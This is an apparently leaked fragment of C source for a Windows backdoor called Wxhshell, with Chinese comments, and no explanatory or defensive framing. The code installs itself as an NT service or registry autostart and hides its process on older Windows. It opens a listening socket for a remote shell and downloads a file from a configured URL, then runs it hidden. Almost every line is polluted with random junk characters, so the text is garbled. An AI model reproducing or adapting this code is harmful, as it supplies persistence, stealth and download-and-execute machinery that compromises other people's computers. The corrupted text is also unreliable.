DWORD BasePriority; =(Mv@eA"
ULONG UniqueProcessId; ~)tMR9=wX
ULONG InheritedFromUniqueProcessId; OrPIvP<w@
} PROCESS_BASIC_INFORMATION; V F6OC4 K
7T_g?!sdMh
PROCNTQSIP NtQueryInformationProcess; @s/;y VVq
x\3 ` W
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7xwS
.|
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BG-uKJ ^
=H>rX
2k
HANDLE hProcess; nl*{@R.q @
PROCESS_BASIC_INFORMATION pbi; #n{wK+lz
_AI2\e
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7Q0M3m
if(NULL == hInst ) return 0; Q7"KgqpQ3
0>H<6Ja
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ItYG9a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O7s0M?4
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aZ*b"3
y"cK@sOo
if (!NtQueryInformationProcess) return 0; `Wn0v2@a(~
PLFM[t/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j:)
(`
if(!hProcess) return 0; Hi,_qlc+
D<L]'
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]'~'V2Ey
mgG0uV
CloseHandle(hProcess); x:xKlPGd
o$d; Y2K
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y\5V(Q\
if(hProcess==NULL) return 0; S,G=MI"
B(Y{
HMODULE hMod; YwoytoXK
char procName[255]; XLqS{r~?
unsigned long cbNeeded; x"8(j8e
mC>7l7%
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7Ar4:iNvX
UQ'D-eK
CloseHandle(hProcess); %CF(SK2w
&m>`+uVBP
if(strstr(procName,"services")) return 1; // 以服务启动 CyzvQfpZr
*r:8=^C7S
return 0; // 注册表启动 ppb]RN|)
} wA.YEI|CSj
4)JrOe&k
// 主模块 (LL4V
3)
int StartWxhshell(LPSTR lpCmdLine) n@T4z.*~lA
{ m`nv4 i#o
SOCKET wsl; ``w,CP ?
BOOL val=TRUE; C~'}RM
int port=0; T*k
K-@.i
struct sockaddr_in door; Q!GB^P
hrU.QF8
if(wscfg.ws_autoins) Install(); ;fee<7Ty
B*Hp
port=atoi(lpCmdLine); k/?+jb
ghbxRnU}
if(port<=0) port=wscfg.ws_port; n$5,B*
a3HT1!M)
WSADATA data; UgSSZ05Lq
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `u %//m_(
{n$9o
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; KSh<_`j
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J%j#gyTU
door.sin_family = AF_INET; TL]2{rf~
door.sin_addr.s_addr = inet_addr("127.0.0.1"); qIA!m
.GC
door.sin_port = htons(port); {r[*}Bv
WZ6!VE{
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g B+cU
closesocket(wsl); Z%(aBz7Et
return 1; yK"U:X
} c{|soc[#
#(ANyU(#e
if(listen(wsl,2) == INVALID_SOCKET) { =ZzhH};aX
closesocket(wsl); r A0[ y
return 1; a(d'iAU8^
} r6PiZgR
Wxhshell(wsl); cg1 <
WSACleanup(); 9e=F
$qg5m,1?
return 0; d/Zt}{
lNqXx{!k
}
S3)JEZi
S U2`H7C*
// 以NT服务方式启动 Mgcq'{[~Y=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k5g\s9n]
{ WAqR70{KM
DWORD status = 0; `j_R ?mY
DWORD specificError = 0xfffffff; <|
Xf4.
$'?CY)h{
serviceStatus.dwServiceType = SERVICE_WIN32; Zm&Zz^s
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 8{%/!ylJz
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o)"}DeV$&
serviceStatus.dwWin32ExitCode = 0; 84)S0Y8w
serviceStatus.dwServiceSpecificExitCode = 0; j(/"}d3osm
serviceStatus.dwCheckPoint = 0; RTLu]Bry
serviceStatus.dwWaitHint = 0; "Q2[A]4E
6$fC
R
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cl:*Q{(Cjk
if (hServiceStatusHandle==0) return; AGK+~EjL@
g@B9i=
status = GetLastError(); #\%GrtM
if (status!=NO_ERROR) t~sW]<qjp
{ MT%ky
serviceStatus.dwCurrentState = SERVICE_STOPPED; s![=F}ck
serviceStatus.dwCheckPoint = 0; 5A~w_p*}
serviceStatus.dwWaitHint = 0; \
{"8(ELX
serviceStatus.dwWin32ExitCode = status; xhg{!w
serviceStatus.dwServiceSpecificExitCode = specificError; d@,q6R}!MP
SetServiceStatus(hServiceStatusHandle, &serviceStatus); JXUO?9
return; hl6al:Y
} C:EF(/>+-
~NU~jmT2
serviceStatus.dwCurrentState = SERVICE_RUNNING; clG3t
eC
serviceStatus.dwCheckPoint = 0; Lm-}W "7
serviceStatus.dwWaitHint = 0; L?Wl#wP\;*
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sDJ5'ul
} >tib21*
t
m5>J)C
// 处理NT服务事件,比如:启动、停止 05|t
VOID WINAPI NTServiceHandler(DWORD fdwControl) OjrQ[`(E
{ -?LSw
switch(fdwControl) .u
W_(Rqg
{ 1;ZEuO
case SERVICE_CONTROL_STOP: g6
7* Bs
serviceStatus.dwWin32ExitCode = 0; [r^f5;Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; aW w`v[v
serviceStatus.dwCheckPoint = 0; 6\~m{@
serviceStatus.dwWaitHint = 0; 6D0uLh
{ [>C^ 0\Z~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~@itZ,d\
} f4@Dn
>BJ
return; g\ <Lb
case SERVICE_CONTROL_PAUSE: u"C`S<c
serviceStatus.dwCurrentState = SERVICE_PAUSED; {oz04KGsH
break; %[NefA(
case SERVICE_CONTROL_CONTINUE: c{FvMV2em
serviceStatus.dwCurrentState = SERVICE_RUNNING; `DWzp5Ax
break; v,g,c`BjK
case SERVICE_CONTROL_INTERROGATE: 2uiiTg>
break; ~POe0!}
}; 0FEb[+N
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1AoBsEnd
} .z+QyNc:
^z0[{1
// 标准应用程序主函数 ] +Gi~
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _|*3uGo:
{ n6|}^O7
.0\Wu+
// 获取操作系统版本 9%\q*
OsIsNt=GetOsVer(); BMFpkK9|
GetModuleFileName(NULL,ExeFile,MAX_PATH); +twBFhS7k
wond>m
3
// 从命令行安装 3y 0`G8P'h
if(strpbrk(lpCmdLine,"iI")) Install(); {d^&$~
VZ_4B *D
// 下载执行文件 0 B3*\ H}5
if(wscfg.ws_downexe) { (`>4~?|+T
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /xf%Rp4}
WinExec(wscfg.ws_filenam,SW_HIDE); ''f
} go{'mX) }u
PPE:@!u<
if(!OsIsNt) { o`G'E&
// 如果时win9x,隐藏进程并且设置为注册表启动 IybMO5Mwn
HideProc(); `"-)ObOj}
StartWxhshell(lpCmdLine); !^`ZHJ-3>;
} &a48DCZ
else <([o4%
if(StartFromService()) *h-nI=
// 以服务方式启动 gDAA>U3|$
StartServiceCtrlDispatcher(DispatchTable); ?CmW{9O
else dVCBpCxI
// 普通方式启动 oVmGZhkA@'
StartWxhshell(lpCmdLine); . 1?AU6\
S'TF7u
return 0; sfVtYIu
}